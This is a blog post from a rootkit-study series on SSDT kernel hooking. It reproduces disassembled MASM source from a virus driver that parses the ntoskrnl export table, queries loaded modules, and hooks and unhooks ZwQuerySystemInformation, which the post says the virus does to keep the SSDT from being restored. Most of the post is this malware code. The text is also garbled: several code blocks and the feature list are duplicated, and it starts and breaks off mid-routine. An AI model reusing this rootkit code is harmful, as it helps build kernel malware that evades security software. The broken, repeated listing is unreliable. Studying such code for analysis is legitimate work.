mov edi, [eax+20h] ; IMAGE_EXPORT_DIRECTORY.AddressOfNames
add edi, edx
mov AddressOfNames, edi
mov esi, [eax+1Ch] ;IMAGE_EXPORT_DIRECTORY.AddressOfFunctions
add esi, edx
mov AddressOfFunctions, esi
mov ecx, [eax+24h] ;IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals
add ecx, edx
mov AddressOfNameOrdinals, ecx
and nIndex, 0
mov edx, pFunctionName
StartSearch:
mov ebx, nIndex
cmp ebx, [eax+14h] ;IMAGE_EXPORT_DIRECTORY.NumberOfFunctions
jnb Quit
cmp dword ptr [esi], 0 ;First function addresws judge whether null on AddressOfFunctions
jz NextAddressOfFunction ;If null, Take next function on IMAGE_EXPORT_DIRECTORY.AddressOfFunctions table
mov CurAddressOfNames, edi
mov CurAddressOfNameOrdinals, ecx
and i, 0
StartFindFunctionFromAddressOfNames:
mov ebx, i
cmp ebx, [eax+18h] ;IMAGE_EXPORT_DIRECTORY.NumberOfNames
jnb OutOfRange
mov ebx, CurAddressOfNameOrdinals
movzx ebx, word ptr [ebx]
cmp ebx, nIndex ;Judge index from AddressOfFunctions to get whether fit AddressOfNameOrdinals get index
jnz NextAddressOfNameOrdinals
mov edx, CurAddressOfNames
mov edx, [edx]
add edx, hModule
mov pFunctionName, edx ;Take function name
OutOfRange:
test edx, edx ;Judge whether null
jz ContinueWork
mov myFoundOutFunctionName, edx ;TS function name
mov edx, FunctionName
mov InputFunctionName, edx ;TS imput function name
CompareFunctionName:
mov edx, InputFunctionName
mov dl, [edx]
mov FirstCharacterOfFunctionName, dl
mov ebx, myFoundOutFunctionName
cmp dl, [ebx]
jnz Different ;disaffinity
test dl, dl ;Judge InputFunctionName whether null, if null, return first function address table
jz RetCurrentFunctionAddress
mov edx, InputFunctionName ;Contrast function name next character
mov dl, [edx+1]
mov SecondCharacterOfFunctionName, dl
cmp dl, [ebx+1]
jnz Different
add InputFunctionName, 2
add myFoundOutFunctionName, 2
test dl, dl
jnz CompareFunctionName
RetCurrentFunctionAddress:
xor edx, edx ;edx = 0,mean find correspond function
jmp GetFunctionAddress
NextAddressOfNameOrdinals:
add CurAddressOfNames, 4
add CurAddressOfNameOrdinals, 2
inc i
jmp StartFindFunctionFromAddressOfNames
Different:
sbb edx, edx
sbb edx, 0FFFFFFFFh ;edx = 1,表示没有找到对应的函数,继续找
GetFunctionAddress:
test edx, edx
jnz ContinueWork
mov esi, [esi]
add esi, hModule
mov eax, esi ;return function address
jmp Founded
ContinueWork:
xor edx, edx
mov pFunctionName, edx
NextAddressOfFunction:
add esi, 4
mov AddressOfFunctions, esi
inc nIndex
jmp StartSearch
Quit:
xor eax, eax
Founded:
ret
GetProcessFromNtoskrnl endp
Friday, October 7, 2011
Learn and study Rootkit Specials 5: kernel hook - SSDT hook(1)
Author:combojiang
Talk about SSDT hook, before have article of <<SSDT Hook的妙用-对抗ring0 inline hook>> by 堕落天才, If do not understand basic concept, You can watch the article.
Today we through example to learn how use, The example root in article by sudami.
The virus use vbs to call driver for finish it. swk0217d's main feature:
1.Take ssdt function count
2.Take all function on ssdt function table
3.hook ZwQuerySystemInformation
4.unhook ZwQuerySystemInformation
5.In line with user given function address and index of ssdt table, Modify ssdt table
Note:
1)When hook ZwQuerySystemInformation is executed, First through ZwQuerySystemInformation to found place of ntosknrl.exe module memory load, Then through export table of ntosknrl.exe to find address of NtQuerySystemInformation. Then hook ZwQuerySystemInformation. Author of the virus main objective is prevent SSDT function to be load, So Author recover in here, Author need use this function, But afraid the function already is tampered.
2)When unhook ZwQuerySystemInformation, Recover original ssdt after Virus author use to finish the function.
.386
.model flat,stdcall
option casemap:none
include w2k\ntstatus.inc
include w2k\ntddk.inc
include w2k\ntoskrnl.inc
includelib C:\RadASM\masm32\lib\w2k\ntoskrnl.lib
include Swk0207.inc
.data
unk_10B80 db 4Eh ; N
db 0E6h ; ?
db 40h ; @
db 0BBh ; ?
OldSSDTValueOfZwQuerySystemInformation dd 0
.code
; 6E 74 6F 73 6B 72 6E 6C 2E 65 78 65 00 CC 6A 24 = ntoskrnl.exe,0 int3 push 24h
FunctionArray dd 736F746Eh, 6C6E726Bh, 6578652Eh,246ACC00h
;***********************************************************************************************
; ZwQuerySystemInformation get memory load address of ntoskrnl.exe
1.Take ssdt function count
2.Take all function on ssdt function table
3.hook ZwQuerySystemInformation
4.unhook ZwQuerySystemInformation
5.In line with user given function address and index of ssdt table, Modify ssdt table
Note:
1)When hook ZwQuerySystemInformation is executed, First through ZwQuerySystemInformation to found place of ntosknrl.exe module memory load, Then through export table of ntosknrl.exe to find address of NtQuerySystemInformation. Then hook ZwQuerySystemInformation. Author of the virus main objective is prevent SSDT function to be load, So Author recover in here, Author need use this function, But afraid the function already is tampered.
2)When unhook ZwQuerySystemInformation, Recover original ssdt after Virus author use to finish the function.
.386
.model flat,stdcall
option casemap:none
include w2k\ntstatus.inc
include w2k\ntddk.inc
include w2k\ntoskrnl.inc
includelib C:\RadASM\masm32\lib\w2k\ntoskrnl.lib
include Swk0207.inc
.data
unk_10B80 db 4Eh ; N
db 0E6h ; ?
db 40h ; @
db 0BBh ; ?
OldSSDTValueOfZwQuerySystemInformation dd 0
.code
; 6E 74 6F 73 6B 72 6E 6C 2E 65 78 65 00 CC 6A 24 = ntoskrnl.exe,0 int3 push 24h
FunctionArray dd 736F746Eh, 6C6E726Bh, 6578652Eh,246ACC00h
;***********************************************************************************************
; ZwQuerySystemInformation get memory load address of ntoskrnl.exe
;***********************************************************************************************
;typedef struct _SYSTEM_MODULE_INFORMATION // Information Class 11
;{
; ULONG Reserved[2]; +0
; PVOID Base; +08h
; ULONG Size; +0ch
; ULONG Flags; +10h
; USHORT Index; +14h
; USHORT Unknown; +16h
; USHORT LoadCount; +18h
; USHORT ModuleNameOffset; +1Ah
; CHAR ImageName[256]; +1Ch
;} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
;typedef NTSTATUS ( __stdcall *ZWQUERYSYSTEMINFORMATION )
; ( IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
; IN OUT PVOID SystemInformation,
; IN ULONG SystemInformationLength,
; OUT PULONG ReturnLength OPTIONAL );
;typedef struct _tagSysModuleList {
; ULONG ulCount;
; SYSTEM_MODULE_INFORMATION smi[1];
;} SYSMODULELIST, *PSYSMODULELIST;
;用法如下:
;s = NtQuerySystemInformation( SystemModuleInformation, pRet,
;sizeof( SYSMODULELIST ), &nRetSize );
xor ebx, ebx
mov [ebp-24h], ebx
mov [ebp-4], ebx
lea eax, [ebp-1Ch]
push eax ;ReturnLength
push ebx ;SystemInformationLength = 0
lea eax, [ebp-20h]
push eax ;SystemInformation
push 0Bh ;SystemModuleInformation,ergodic module
mov esi, ZwQuerySystemInformation
call esi ; ZwQuerySystemInformation ,First call to get need buffer length
mov [ebp-28h], eax
cmp eax, 0C0000004h
jnz ERRORRET
push 206B6444h ; ' kdD' lable
push dword ptr [ebp-1Ch] ;apply for length
push ebx ;NonPagedPool
call ExAllocatePoolWithTag
mov edi, eax
mov [ebp-30h], edi ;Keep return value
cmp edi, ebx ;Judge return value whether is null
jnz NextStep
or dword ptr [ebp-4], 0FFFFFFFFh
xor eax, eax
jmp ErrAllocMem
NextStep:
lea eax, [ebp-34h] ;ReturnLength
push eax
push dword ptr [ebp-1Ch] ;SystemInformationLength
push edi ;SystemInformation
push 0Bh ;SystemModuleInformation
call esi ; ZwQuerySystemInformation
mov [ebp-28h], eax
cmp eax, ebx
jl ReleaseMemory
mov eax, [edi]
mov [ebp-1Ch], eax ;Keep YSTEM_MODULE_INFORMATION element count by ZwQuerySystemInformation return
lea esi, [edi+4]
mov [ebp-2Ch], esi ;Save firt address array by SYSTEM_MODULE_INFORMATION return
;typedef struct _SYSTEM_MODULE_INFORMATION // Information Class 11
;{
; ULONG Reserved[2]; +0
; PVOID Base; +08h
; ULONG Size; +0ch
; ULONG Flags; +10h
; USHORT Index; +14h
; USHORT Unknown; +16h
; USHORT LoadCount; +18h
; USHORT ModuleNameOffset; +1Ah
; CHAR ImageName[256]; +1Ch
;} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
;typedef NTSTATUS ( __stdcall *ZWQUERYSYSTEMINFORMATION )
; ( IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
; IN OUT PVOID SystemInformation,
; IN ULONG SystemInformationLength,
; OUT PULONG ReturnLength OPTIONAL );
;typedef struct _tagSysModuleList {
; ULONG ulCount;
; SYSTEM_MODULE_INFORMATION smi[1];
;} SYSMODULELIST, *PSYSMODULELIST;
;用法如下:
;s = NtQuerySystemInformation( SystemModuleInformation, pRet,
;sizeof( SYSMODULELIST ), &nRetSize );
xor ebx, ebx
mov [ebp-24h], ebx
mov [ebp-4], ebx
lea eax, [ebp-1Ch]
push eax ;ReturnLength
push ebx ;SystemInformationLength = 0
lea eax, [ebp-20h]
push eax ;SystemInformation
push 0Bh ;SystemModuleInformation,ergodic module
mov esi, ZwQuerySystemInformation
call esi ; ZwQuerySystemInformation ,First call to get need buffer length
mov [ebp-28h], eax
cmp eax, 0C0000004h
jnz ERRORRET
push 206B6444h ; ' kdD' lable
push dword ptr [ebp-1Ch] ;apply for length
push ebx ;NonPagedPool
call ExAllocatePoolWithTag
mov edi, eax
mov [ebp-30h], edi ;Keep return value
cmp edi, ebx ;Judge return value whether is null
jnz NextStep
or dword ptr [ebp-4], 0FFFFFFFFh
xor eax, eax
jmp ErrAllocMem
NextStep:
lea eax, [ebp-34h] ;ReturnLength
push eax
push dword ptr [ebp-1Ch] ;SystemInformationLength
push edi ;SystemInformation
push 0Bh ;SystemModuleInformation
call esi ; ZwQuerySystemInformation
mov [ebp-28h], eax
cmp eax, ebx
jl ReleaseMemory
mov eax, [edi]
mov [ebp-1Ch], eax ;Keep YSTEM_MODULE_INFORMATION element count by ZwQuerySystemInformation return
lea esi, [edi+4]
mov [ebp-2Ch], esi ;Save firt address array by SYSTEM_MODULE_INFORMATION return
mov [ebp-20h], ebx ;Count variable zero clearing
FORLOOP:
mov eax, [ebp-1Ch] ;Beging for loop
cmp [ebp-20h], eax
jnb ReleaseMemory
push offset FunctionArray
FORLOOP:
mov eax, [ebp-1Ch] ;Beging for loop
cmp [ebp-20h], eax
jnb ReleaseMemory
push offset FunctionArray
Subscribe to:
Posts (Atom)